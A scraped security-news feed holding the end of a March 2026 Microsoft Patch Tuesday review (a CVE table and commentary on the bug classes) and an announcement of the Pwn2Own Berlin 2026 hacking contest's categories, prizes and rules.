  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
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  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
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  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Announcing Pwn2Own Berlin for 2026]]></title>
<description><![CDATA[If you just want to read the contest rules, click here. Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of...]]></description>
<link>https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the contest rules, click </em><a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank"><em>here</em></a><em>.</em></p><p class=""> </p><p class="">Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and <a href="https://www.offensivecon.org/" target="_blank">OffensiveCon</a>. Outside of our <a href="https://www.youtube.com/shorts/Xj9Du8iuXCw" target="_blank">shipping troubles</a>, we had an amazing time and can’t wait to get back.</p><p class="">Last year, we added <strong>Artificial Intelligence</strong> as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from <strong>AWS </strong>wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.</p><p class="">The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  </p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a> 
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#virtual">-- Virtualization</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#browser">-- Web Browser</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#entapps">-- Enterprise Applications</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#server">-- Servers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#eop">-- Local Escalation of Privilege</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#container">-- Containers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aidb">-- AI Database</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aicode">-- Coding Agents</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#ailocal">-- Local Inference</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#nvidia">-- NVIDIA</a>  </p>




  <p class="">Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do <em>not</em> go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for <a href="https://www.zerodayinitiative.com/about/benefits/" target="_blank">Platinum</a> status), a killer <a href="https://static1.squarespace.com/static/5894c269e4fcb5e65a1ed623/t/5b8993b321c67c67b886f506/1535742910114/trophy.jpg" target="_blank">trophy</a>, and a <a href="https://pbs.twimg.com/media/C6Z5iQQXEAEPQ0Q.jpg" target="_blank">pretty</a> <a href="https://pbs.twimg.com/media/DNhpw_xUEAEkEwG.jpg" target="_blank">snazzy</a> <a href="https://pbs.twimg.com/media/Cu-6uFSWcAEefBS.jpg" target="_blank">jacket</a> to boot.</p><p class="">Let's look at the details of the rules for this year's event.</p>





















  
  



<p><a data-preserve-html-node="true" name="virtual"></a>  </p>
<p><b data-preserve-html-node="true">Virtualization Category</b> </p>




  <p class="">Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.</p><p class="">There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target <em>and</em> obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="browser"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Web Browser Category</b></p>




  <p class="">While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="entapps"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Enterprise Applications Category</b></p>




  <p class="">Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.</p><p class="">This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just <a href="https://x.com/thezdi/status/2031496424488042681" target="_blank">patched</a> a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:</p>





















  
  














































  

    
  
    

      

      
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<p><a data-preserve-html-node="true" name="server"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Server Category</b></p>




  <p class="">The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:</p>





















  
  














































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
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<p><a data-preserve-html-node="true" name="eop"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Local Escalation of Privilege Category</b></p>




  <p class="">This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:</p>





















  
  














































  

    
  
    

      

      
